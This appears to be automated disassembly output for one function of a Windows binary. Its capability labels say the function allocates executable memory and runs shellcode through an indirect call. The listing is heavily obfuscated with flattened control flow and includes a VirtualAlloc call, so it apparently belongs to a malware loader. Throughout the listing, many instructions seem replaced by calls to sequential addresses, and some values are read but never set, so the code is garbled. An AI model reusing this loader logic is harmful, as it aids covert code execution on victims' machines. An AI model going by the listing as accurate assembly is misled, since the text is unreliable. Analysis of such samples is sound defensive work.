Function at 0x436890
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x348
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x84], ecx
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xac], 0
call fcn.004384a0
call fcn.004384b0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0xd8], 0x9d3a14d1
mov eax, dword [ebp - 0xd8]
mov ecx, eax
add ecx, 0x920303ac
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xe0], ecx
jg 0x43713b
jmp 0x436950
mov eax, dword [ebp - 0xdc]
sub eax, 0x8b12368c
mov dword [ebp - 0xe4], eax
jg 0x436987
jmp 0x43696c
call fcn.004384c0
sub eax, 0x83a0d948
mov dword [ebp - 0xe8], eax
je 0x4381ca
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x9002a16e
mov dword [ebp - 0xec], eax
jg 0x4369bf
jmp 0x4369a3
mov eax, dword [ebp - 0xdc]
sub eax, 0x8b12368d
mov dword [ebp - 0xf0], eax
je 0x4382b2
jmp 0x437156
call fcn.004384d0
sub eax, 0x94ec36b9
call fcn.004384e0
jg 0x4369f5
jmp 0x4369d9
mov eax, dword [ebp - 0xdc]
sub eax, 0x9002a16f
mov dword [ebp - 0xf8], eax
je 0x438354
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x9d3a14d0
mov dword [ebp - 0xfc], eax
jg 0x436a2c
jmp 0x436a11
mov eax, dword [ebp - 0xdc]
sub eax, 0x94ec36ba
call fcn.004384f0
je 0x43744d
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x5b12978e
mov dword [ebp - 0x104], eax
jg 0x43711f
jmp 0x436a48
mov eax, dword [ebp - 0xdc]
sub eax, 0x5774e516
mov dword [ebp - 0x108], eax
jg 0x437104
jmp 0x436a64
mov eax, dword [ebp - 0xdc]
sub eax, 0x54a7ab22
mov dword [ebp - 0x10c], eax
jg 0x4370e8
jmp 0x436a80
mov eax, dword [ebp - 0xdc]
sub eax, 0x4ee76efd
call fcn.00438500
jg 0x4370cd
jmp 0x436a9b
mov eax, dword [ebp - 0xdc]
sub eax, 0x4b8e4283
mov dword [ebp - 0x114], eax
jg 0x4370b1
jmp 0x436ab7
mov eax, dword [ebp - 0xdc]
sub eax, 0x37819619
mov dword [ebp - 0x118], eax
jg 0x437096
jmp 0x436ad3
mov eax, dword [ebp - 0xdc]
sub eax, 0x324cc412
mov dword [ebp - 0x11c], eax
jg 0x43707a
jmp 0x436aef
mov eax, dword [ebp - 0xdc]
sub eax, 0x2420b6ed
mov dword [ebp - 0x120], eax
jg 0x43705e
jmp 0x436b0b
call fcn.00438510
sub eax, 0x189b035d
mov dword [ebp - 0x124], eax
jg 0x437042
jmp 0x436b26
mov eax, dword [ebp - 0xdc]
sub eax, 0x141f1d93
mov dword [ebp - 0x128], eax
jg 0x437026
jmp 0x436b42
call fcn.00438520
sub eax, 0x8839ab5
call fcn.00438530
jg 0x43700b
jmp 0x436b5c
mov eax, dword [ebp - 0xdc]
sub eax, 0xfe62326e
call fcn.00438540
jg 0x436fee
jmp 0x436b77
mov eax, dword [ebp - 0xdc]
add eax, 0xc03b40a
mov dword [ebp - 0x134], eax
jg 0x436fd3
jmp 0x436b94
mov eax, dword [ebp - 0xdc]
sub eax, 0xef4a56e3
mov dword [ebp - 0x138], eax
jg 0x436fb7
jmp 0x436bb0
mov eax, dword [ebp - 0xdc]
sub eax, 0xecd18170
mov dword [ebp - 0x13c], eax
jg 0x436f9a
jmp 0x436bcc
mov eax, dword [ebp - 0xdc]
sub eax, 0xe7468f9a
mov dword [ebp - 0x140], eax
jg 0x436f7f
jmp 0x436be8
mov eax, dword [ebp - 0xdc]
sub eax, 0xe678da96
mov dword [ebp - 0x144], eax
jg 0x436f63
jmp 0x436c04
mov eax, dword [ebp - 0xdc]
sub eax, 0xe4e3f6fa
mov dword [ebp - 0x148], eax
jg 0x436f47
jmp 0x436c20
mov eax, dword [ebp - 0xdc]
sub eax, 0xe2239222
mov dword [ebp - 0x14c], eax
jg 0x436f2d
jmp 0x436c3c
mov eax, dword [ebp - 0xdc]
sub eax, 0xdec9a507
mov dword [ebp - 0x150], eax
jg 0x436f10
jmp 0x436c58
mov eax, dword [ebp - 0xdc]
sub eax, 0xd3bc3d2e
mov dword [ebp - 0x154], eax
jg 0x436ef4
jmp 0x436c74
mov eax, dword [ebp - 0xdc]
sub eax, 0xd39cece5
mov dword [ebp - 0x158], eax
jg 0x436ed8
jmp 0x436c90
mov eax, dword [ebp - 0xdc]
sub eax, 0xd325cc4c
mov dword [ebp - 0x15c], eax
jg 0x436ebc
jmp 0x436cac
mov eax, dword [ebp - 0xdc]
sub eax, 0xbac4b028
mov dword [ebp - 0x160], eax
jg 0x436ea0
jmp 0x436cc8
mov eax, dword [ebp - 0xdc]
sub eax, 0xb942bd0a
call fcn.00438550
jg 0x436e85
jmp 0x436ce3
mov eax, dword [ebp - 0xdc]
sub eax, 0xb903b1d1
call fcn.00438560
jg 0x436e69
jmp 0x436cfe
mov eax, dword [ebp - 0xdc]
sub eax, 0xb82e1fc7
call fcn.00438570
jg 0x436e4d
jmp 0x436d19
call fcn.00438580
sub eax, 0xb6c509a4
mov dword [ebp - 0x170], eax
jg 0x436e31
jmp 0x436d34
mov eax, dword [ebp - 0xdc]
sub eax, 0xb40e1e5a
call fcn.00438590
jg 0x436e15
jmp 0x436d4f
mov eax, dword [ebp - 0xdc]
sub eax, 0xa73e70d9
mov dword [ebp - 0x178], eax
jg 0x436df9
jmp 0x436d6b
mov eax, dword [ebp - 0xdc]
sub eax, 0xa6b6a6b2
mov dword [ebp - 0x17c], eax
jg 0x436ddc
jmp 0x436d87
mov eax, dword [ebp - 0xdc]
sub eax, 0x9d3a14d1
mov dword [ebp - 0x180], eax
je 0x43715b
jmp 0x436da3
mov eax, dword [ebp - 0xdc]
add eax, 0x62acdeba
mov dword [ebp - 0x184], eax
je 0x437787
jmp 0x436dc0
mov eax, dword [ebp - 0xdc]
sub eax, 0x9f674d47
mov dword [ebp - 0x188], eax
je 0x4371d2
jmp 0x437156
mov eax, dword [ebp - 0xdc]
add eax, 0x5949594d
mov dword [ebp - 0x18c], eax
je 0x4383b1
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0xa73e70da
mov dword [ebp - 0x190], eax
je 0x43743e
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0xb40e1e5b
mov dword [ebp - 0x194], eax
je 0x438363
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0xb6c509a5
mov dword [ebp - 0x198], eax
je 0x438305
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0xb82e1fc8
mov dword [ebp - 0x19c], eax
je 0x43780b
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0xb903b1d2
mov dword [ebp - 0x1a0], eax
je 0x4377eb
jmp 0x437156
call fcn.004385a0
sub eax, 0xb942bd0b
mov dword [ebp - 0x1a4], eax
je 0x438209
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0xbac4b029
mov dword [ebp - 0x1a8], eax
je 0x4382e2
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0xd325cc4d
mov dword [ebp - 0x1ac], eax
je 0x437ecb
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0xd39cece6
mov dword [ebp - 0x1b0], eax
je 0x438398
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0xd3bc3d2f
mov dword [ebp - 0x1b4], eax
je 0x43717b
jmp 0x437156
mov eax, dword [ebp - 0xdc]
add eax, 0x21365af8
mov dword [ebp - 0x1b8], eax
je 0x437b16
jmp 0x437156
call fcn.004385b0
sub eax, 0xe2239223
call fcn.004385c0
je 0x437e75
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0xe4e3f6fb
mov dword [ebp - 0x1c0], eax
je 0x437eda
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0xe678da97
mov dword [ebp - 0x1c4], eax
je 0x43719d
jmp 0x437156
call fcn.004385d0
sub eax, 0xe7468f9b
mov dword [ebp - 0x1c8], eax
je 0x4377a2
jmp 0x437156
mov eax, dword [ebp - 0xdc]
add eax, 0x132e7e8f
mov dword [ebp - 0x1cc], eax
je 0x43774c
jmp 0x437156
mov eax, dword [ebp - 0xdc]
add eax, 0x10b5a91c
call fcn.004385e0
je 0x43767f
jmp 0x437156
call fcn.004385f0
sub eax, 0xf3fc4bf7
mov dword [ebp - 0x1d4], eax
je 0x4382a8
jmp 0x437156
mov eax, dword [ebp - 0xdc]
add eax, 0x19dcd91
mov dword [ebp - 0x1d8], eax
je 0x4371fc
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x8839ab6
call fcn.00438600
je 0x4371bc
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x141f1d94
mov dword [ebp - 0x1e0], eax
je 0x4381e3
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x189b035e
mov dword [ebp - 0x1e4], eax
je 0x437428
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x2420b6ee
mov dword [ebp - 0x1e8], eax
je 0x437669
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x324cc413
mov dword [ebp - 0x1ec], eax
je 0x438315
jmp 0x437156
call fcn.00438610
sub eax, 0x3781961a
mov dword [ebp - 0x1f0], eax
je 0x43838a
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x4b8e4284
mov dword [ebp - 0x1f4], eax
je 0x437762
jmp 0x437156
call fcn.00438620
sub eax, 0x4ee76efe
mov dword [ebp - 0x1f8], eax
je 0x438372
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x54a7ab23
mov dword [ebp - 0x1fc], eax
je 0x438284
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x5774e517
call fcn.00438630
je 0x438274
jmp 0x437156
mov eax, dword [ebp - 0xdc]
sub eax, 0x5b12978f
mov dword [ebp - 0x204], eax
je 0x437b83
jmp 0x437156
call fcn.00438640
sub eax, 0x6dfcfc55
mov dword [ebp - 0x208], eax
je 0x438299
jmp 0x437156
jmp 0x4383e5
mov eax, 0xd3bc3d2f
mov ecx, 0x8839ab6
mov edx, dword [ebp - 0x78]
cmp edx, 0
cmove eax, ecx
call fcn.00438650
jmp 0x4383e5
mov eax, 0xe678da97
mov ecx, 0x8839ab6
cmp dword [ebp - 0x84], 0
cmove eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov eax, 0x9f674d47
mov ecx, 0x8839ab6
cmp dword [ebp - 0x80], 0
cmove eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0xd8], 0x3781961a
jmp 0x4383e5
mov eax, 0x94ec36ba
pushfd
mov ecx, 0x2abe5f30
xor ecx, 0xd4dc6d5f
popfd
cmp dword [0x4f6bc8], 0
cmove eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
lea eax, [0x4e9820]
add eax, 5
mov ecx, 4
lea edx, [ebp - 0x70]
mov dword [ebp - 0x70], 0
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov dword [ebp - 0x20c], ecx
call fcn.00441f20
mov ecx, 1
mov edx, dword [ebp - 0x70]
mov dword [esp], edx
mov dword [esp + 4], 1
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x214], ecx
call fcn.00418b98
mov dword [0x4f6bc8], eax
mov eax, dword [0x4f6bc8]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x74], 0x898de296
call fcn.00438660
mov ecx, eax
sub ecx, 0x49e60cde
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x21c], ecx
jg 0x43734f
jmp 0x43728c
mov eax, dword [ebp - 0x218]
add eax, 0x19c3fa3f
mov dword [ebp - 0x220], eax
jg 0x437333
jmp 0x4372a9
mov eax, dword [ebp - 0x218]
sub eax, 0x900d9d10
mov dword [ebp - 0x224], eax
jg 0x437318
jmp 0x4372c5
mov eax, dword [ebp - 0x218]
sub eax, 0x81bb9006
mov dword [ebp - 0x228], eax
je 0x4373a0
jmp 0x4372e1
call fcn.00438670
sub eax, 0x87165da0
mov dword [ebp - 0x22c], eax
je 0x4373f6
jmp 0x4372fc
mov eax, dword [ebp - 0x218]
sub eax, 0x898de296
mov dword [ebp - 0x230], eax
je 0x43736f
jmp 0x43736a
mov eax, dword [ebp - 0x218]
sub eax, 0x900d9d11
call fcn.00438680
je 0x4373e3
jmp 0x43736a
mov eax, dword [ebp - 0x218]
sub eax, 0xe63c05c2
mov dword [ebp - 0x238], eax
je 0x43738d
jmp 0x43736a
mov eax, dword [ebp - 0x218]
sub eax, 0x49e60cdf
call fcn.00438690
je 0x437409
jmp 0x43736a
jmp 0x437404
mov eax, 0x81bb9006
mov ecx, 0xe63c05c2
mov edx, dword [ebp - 0x68]
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0x74], eax
jmp 0x437404
mov dword [ebp - 0x6c], 0xffffffff
mov dword [ebp - 0x74], 0x49e60cdf
jmp 0x437404
lea eax, [0x4e9820]
mov ecx, dword [ebp - 0x70]
mov edx, dword [0x4f6bc8]
mov esi, dword [0x4e981c]
mov dword [esp], eax
mov dword [esp + 4], esi
mov dword [esp + 8], edx
mov dword [esp + 0xc], ecx
call fcn.00417960
mov ecx, 0x87165da0
mov edx, 0x900d9d11
cmp eax, 0
cmovl ecx, edx
mov dword [ebp - 0x74], ecx
jmp 0x437404
mov dword [ebp - 0x6c], 0xffffffff
mov dword [ebp - 0x74], 0x49e60cdf
jmp 0x437404
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x74], 0x49e60cdf
jmp 0x437268
mov eax, 0xa73e70da
mov ecx, 0x189b035e
cmp dword [ebp - 0x6c], 0
cmovl eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0xd8], 0x3781961a
jmp 0x4383e5
mov dword [ebp - 0xd8], 0x94ec36ba
jmp 0x4383e5
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0x31093026
mov eax, dword [ebp - 0x64]
mov ecx, eax
sub ecx, 0x7391378d
call fcn.004386a0
mov dword [ebp - 0x244], ecx
jg 0x437581
jmp 0x437485
mov eax, dword [ebp - 0x240]
sub eax, 0x46314314
mov dword [ebp - 0x248], eax
jg 0x437566
jmp 0x4374a1
mov eax, dword [ebp - 0x240]
sub eax, 0x31093025
mov dword [ebp - 0x24c], eax
jg 0x43754a
jmp 0x4374bd
mov eax, dword [ebp - 0x240]
add eax, 0x34f27cb9
mov dword [ebp - 0x250], eax
jg 0x4374f7
jmp 0x4374da
mov eax, dword [ebp - 0x240]
add eax, 0x468165ce
mov dword [ebp - 0x254], eax
je 0x43762b
jmp 0x43759d
mov eax, dword [ebp - 0x240]
sub eax, 0xcb0d8348
mov dword [ebp - 0x258], eax
je 0x43763c
jmp 0x437513
mov eax, dword [ebp - 0x240]
sub eax, 0x1623cf02
call fcn.004386b0
je 0x4375ec
jmp 0x43752e
mov eax, dword [ebp - 0x240]
sub eax, 0x183b4da3
mov dword [ebp - 0x260], eax
je 0x43760a
jmp 0x43759d
mov eax, dword [ebp - 0x240]
sub eax, 0x31093026
mov dword [ebp - 0x264], eax
je 0x4375a2
jmp 0x43759d
call fcn.004386c0
sub eax, 0x46314315
mov dword [ebp - 0x268], eax
je 0x437614
jmp 0x43759d
mov eax, dword [ebp - 0x240]
sub eax, 0x7391378e
mov dword [ebp - 0x26c], eax
je 0x4375c2
jmp 0x43759d
jmp 0x437637
mov eax, 0x4fdc80
mov eax, dword [eax]
mov ecx, 0x7391378e
mov edx, dword [ebp - 0x60]
cmp edx, dword [0x4e9818]
cmovb eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x437637
mov eax, 0x183b4da3
mov ecx, 0x1623cf02
lea edx, [0x4e9500]
imul esi, dword [ebp - 0x60], 0xc
add edx, esi
mov edx, dword [edx + 4]
cmp edx, dword [ebp - 0x5c]
cmove eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x437637
lea eax, [0x4e9500]
imul ecx, dword [ebp - 0x60], 0xc
add eax, ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x64], 0xcb0d8348
jmp 0x437637
call fcn.004386d0
jmp 0x437637
mov eax, dword [ebp - 0x60]
add eax, 1
call fcn.004386e0
call fcn.004386f0
jmp 0x437637
call fcn.00438700
mov dword [ebp - 0x64], 0xcb0d8348
jmp 0x437464
mov eax, 0xef4a56e4
mov ecx, 0x2420b6ee
call fcn.00438710
mov dword [ebp - 0x90], edx
cmp dword [ebp - 0x90], 0
cmove eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0xd8], 0x3781961a
jmp 0x4383e5
mov eax, dword [0x4f6bc8]
mov ecx, dword [ebp - 0x90]
add eax, dword [ecx]
mov dword [ebp - 0x8c], eax
call fcn.00448bf0
mov dword [ebp - 0xd4], eax
call fcn.00438720
add eax, 0x2b
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov ecx, dword [ebp - 0x8c]
add ecx, 0x2b
shl eax, 2
add ecx, eax
mov dword [ebp - 0x9c], ecx
mov eax, dword [ebp - 0x8c]
mov eax, dword [eax + 0x1f]
shl eax, 1
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx + 0x23]
shl ecx, 1
add eax, ecx
call fcn.00438730
add ecx, 0x2b
shl eax, 2
add ecx, eax
mov dword [ebp - 0xa4], ecx
mov eax, dword [ebp - 0x80]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx + 0xc], pe_nt_image_headers32
mov dword [ecx + 8], 0x1000
mov dword [ecx], 0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
call eax
sub esp, 0x10
mov ecx, 0x4b8e4284
mov edx, 0xecd18171
call fcn.00438740
cmp dword [ebp - 0xac], 0
cmove ecx, edx
call fcn.00438750
jmp 0x4383e5
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0xd8], 0x3781961a
jmp 0x4383e5
mov eax, 0xe7468f9b
mov ecx, 0x9d532146
mov edx, dword [ebp - 0x90]
cmp dword [edx + 8], 0
cmovne eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov eax, dword [ebp - 0x90]
mov eax, dword [eax + 8]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0xd8], 0x3781961a
jmp 0x4383e5
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x90]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x88]
add eax, dword [ebp - 0xd4]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
call fcn.00438760
mov dword [ebp - 0xd8], 0xb903b1d2
jmp 0x4383e5
mov eax, 0x4ee76efe
mov ecx, 0xb82e1fc8
call fcn.00438770
cmp edx, dword [ebp - 0x80]
cmovb eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov eax, dword [ebp - 0x88]
add eax, dword [ebp - 0xb4]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx + 0x1f]
call fcn.00438780
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0x4d4900a4
mov eax, dword [ebp - 0x54]
mov ecx, eax
sub ecx, 0x9a007434
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x274], ecx
jg 0x437887
jmp 0x43786a
mov eax, dword [ebp - 0x270]
add eax, 0x799a6fab
mov dword [ebp - 0x278], eax
je 0x437a8a
jmp 0x437a29
mov eax, dword [ebp - 0x270]
sub eax, 0x60580166
mov dword [ebp - 0x27c], eax
jg 0x437a0d
jmp 0x4378a3
call fcn.00438790
sub eax, 0xabf736c8
mov dword [ebp - 0x280], eax
jg 0x4378da
jmp 0x4378be
mov eax, dword [ebp - 0x270]
sub eax, 0x9a007435
mov dword [ebp - 0x284], eax
je 0x437ad8
jmp 0x437a29
mov eax, dword [ebp - 0x270]
sub eax, 0xce70ed8d
call fcn.004387a0
jg 0x437912
jmp 0x4378f5
mov eax, dword [ebp - 0x270]
add eax, 0x5408c937
mov dword [ebp - 0x28c], eax
je 0x437a96
jmp 0x437a29
mov eax, dword [ebp - 0x270]
sub eax, 0xdf36a10c
mov dword [ebp - 0x290], eax
jg 0x437949
jmp 0x43792e
mov eax, dword [ebp - 0x270]
sub eax, 0xce70ed8e
call fcn.004387b0
je 0x437a4b
jmp 0x437a29
mov eax, dword [ebp - 0x270]
sub eax, 0x11a8fe31
mov dword [ebp - 0x298], eax
jg 0x437981
jmp 0x437965
mov eax, dword [ebp - 0x270]
sub eax, 0xdf36a10d
mov dword [ebp - 0x29c], eax
je 0x437aef
jmp 0x437a29
mov eax, dword [ebp - 0x270]
sub eax, 0x3764f2af
mov dword [ebp - 0x2a0], eax
jg 0x4379b9
jmp 0x43799d
mov eax, dword [ebp - 0x270]
sub eax, 0x11a8fe32
mov dword [ebp - 0x2a4], eax
je 0x437ac5
jmp 0x437a29
mov eax, dword [ebp - 0x270]
sub eax, 0x3764f2b0
mov dword [ebp - 0x2a8], eax
je 0x437a6c
jmp 0x4379d5
mov eax, dword [ebp - 0x270]
add eax, 0xb4df36da
mov dword [ebp - 0x2ac], eax
je 0x437abb
jmp 0x4379f2
mov eax, dword [ebp - 0x270]
sub eax, 0x4d4900a4
call fcn.004387c0
je 0x437a2e
jmp 0x437a29
mov eax, dword [ebp - 0x270]
sub eax, 0x60580167
mov dword [ebp - 0x2b4], eax
je 0x437aa2
jmp 0x437a29
jmp 0x437aea
mov eax, 0x11a8fe32
mov ecx, 0xce70ed8e
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x48]
cmovb eax, ecx
call fcn.004387d0
jmp 0x437aea
mov eax, 0x86659055
mov ecx, 0x3764f2b0
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x44]
cmove eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x437aea
mov eax, dword [ebp - 0x50]
call fcn.004387e0
shl eax, 3
add ecx, eax
call fcn.004387f0
mov dword [ebp - 0x54], 0xdf36a10d
jmp 0x437aea
mov dword [ebp - 0x54], 0xabf736c9
jmp 0x437aea
mov dword [ebp - 0x54], 0x60580167
jmp 0x437aea
mov eax, dword [ebp - 0x50]
add eax, 1
call fcn.00438800
mov dword [ebp - 0x54], 0x4b20c926
jmp 0x437aea
call fcn.00438810
jmp 0x437aea
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x54], 0xdf36a10d
jmp 0x437aea
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], 0x60580167
jmp 0x437848
mov eax, 0x5b12978f
mov ecx, 0xdec9a508
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x98], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
call fcn.00438820
mov eax, dword [eax + 4]
add eax, dword [ebp - 0xd4]
mov dword [ebp - 0xcc], eax
mov eax, dword [ebp - 0xcc]
call fcn.00438830
add ecx, dword [ebp - 0xb4]
add ecx, 4
sub eax, ecx
mov ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0xb4]
mov dword [ecx + edx], eax
mov eax, dword [ebp - 0xb4]
add eax, 4
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xc0]
add eax, 1
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xd8], 0xb903b1d2
jmp 0x4383e5
call fcn.00438840
call fcn.00438850
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0x9c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0x4d4900a4
mov eax, dword [ebp - 0x3c]
mov ecx, eax
sub ecx, 0x9a007434
call fcn.00438860
mov dword [ebp - 0x2bc], ecx
jg 0x437bea
jmp 0x437bce
mov eax, dword [ebp - 0x2b8]
sub eax, 0x86659055
mov dword [ebp - 0x2c0], eax
je 0x437de8
jmp 0x437d8f
mov eax, dword [ebp - 0x2b8]
sub eax, 0x60580166
mov dword [ebp - 0x2c4], eax
jg 0x437d72
jmp 0x437c06
mov eax, dword [ebp - 0x2b8]
sub eax, 0xabf736c8
mov dword [ebp - 0x2c8], eax
jg 0x437c3f
jmp 0x437c22
mov eax, dword [ebp - 0x2b8]
add eax, 0x65ff8bcb
mov dword [ebp - 0x2cc], eax
je 0x437e38
jmp 0x437d8f
mov eax, dword [ebp - 0x2b8]
sub eax, 0xce70ed8d
mov dword [ebp - 0x2d0], eax
jg 0x437c77
jmp 0x437c5b
mov eax, dword [ebp - 0x2b8]
sub eax, 0xabf736c9
mov dword [ebp - 0x2d4], eax
je 0x437df4
jmp 0x437d8f
mov eax, dword [ebp - 0x2b8]
sub eax, 0xdf36a10c
mov dword [ebp - 0x2d8], eax
jg 0x437cae
jmp 0x437c93
call fcn.00438870
sub eax, 0xce70ed8e
mov dword [ebp - 0x2dc], eax
je 0x437daf
jmp 0x437d8f
mov eax, dword [ebp - 0x2b8]
add eax, 0xee5701cf
mov dword [ebp - 0x2e0], eax
jg 0x437ce7
jmp 0x437ccb
mov eax, dword [ebp - 0x2b8]
sub eax, 0xdf36a10d
mov dword [ebp - 0x2e4], eax
je 0x437e4f
jmp 0x437d8f
mov eax, dword [ebp - 0x2b8]
sub eax, 0x3764f2af
call fcn.00438880
jg 0x437d1e
jmp 0x437d02
mov eax, dword [ebp - 0x2b8]
sub eax, 0x11a8fe32
mov dword [ebp - 0x2ec], eax
je 0x437e25
jmp 0x437d8f
mov eax, dword [ebp - 0x2b8]
sub eax, 0x3764f2b0
mov dword [ebp - 0x2f0], eax
je 0x437dd0
jmp 0x437d3a
mov eax, dword [ebp - 0x2b8]
sub eax, 0x4b20c926
mov dword [ebp - 0x2f4], eax
je 0x437e19
jmp 0x437d56
mov eax, dword [ebp - 0x2b8]
sub eax, 0x4d4900a4
mov dword [ebp - 0x2f8], eax
je 0x437d94
jmp 0x437d8f
mov eax, dword [ebp - 0x2b8]
add eax, 0x9fa7fe99
mov dword [ebp - 0x2fc], eax
je 0x437e00
jmp 0x437d8f
jmp 0x437e4a
mov eax, 0x11a8fe32
mov ecx, 0xce70ed8e
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x30]
cmovb eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x437e4a
mov eax, 0x86659055
mov ecx, 0x3764f2b0
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x2c]
cmove eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x437e4a
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x28], ecx
call fcn.00438890
jmp 0x437e4a
mov dword [ebp - 0x3c], 0xabf736c9
jmp 0x437e4a
mov dword [ebp - 0x3c], 0x60580167
jmp 0x437e4a
call fcn.004388a0
add eax, 1
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0x4b20c926
jmp 0x437e4a
mov dword [ebp - 0x3c], 0x4d4900a4
jmp 0x437e4a
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x3c], 0xdf36a10d
jmp 0x437e4a
call fcn.004388b0
add eax, 1
mov dword [ebp - 0x38], eax
call fcn.004388c0
jmp 0x437bad
mov eax, 0xd325cc4d
mov ecx, 0xe2239223
mov edx, dword [ebp - 0x28]
call fcn.004388d0
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xd8], eax
jmp 0x4383e5
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0xb4]
mov dword [ecx + edx], eax
mov eax, dword [ebp - 0xb4]
add eax, 4
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0xc4]
sub eax, 0xffffffff
mov dword [ebp - 0xc4], eax
call fcn.004388e0
jmp 0x4383e5
mov dword [ebp - 0xd8], 0xe4e3f6fb
jmp 0x4383e5
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x8c]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0xa4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
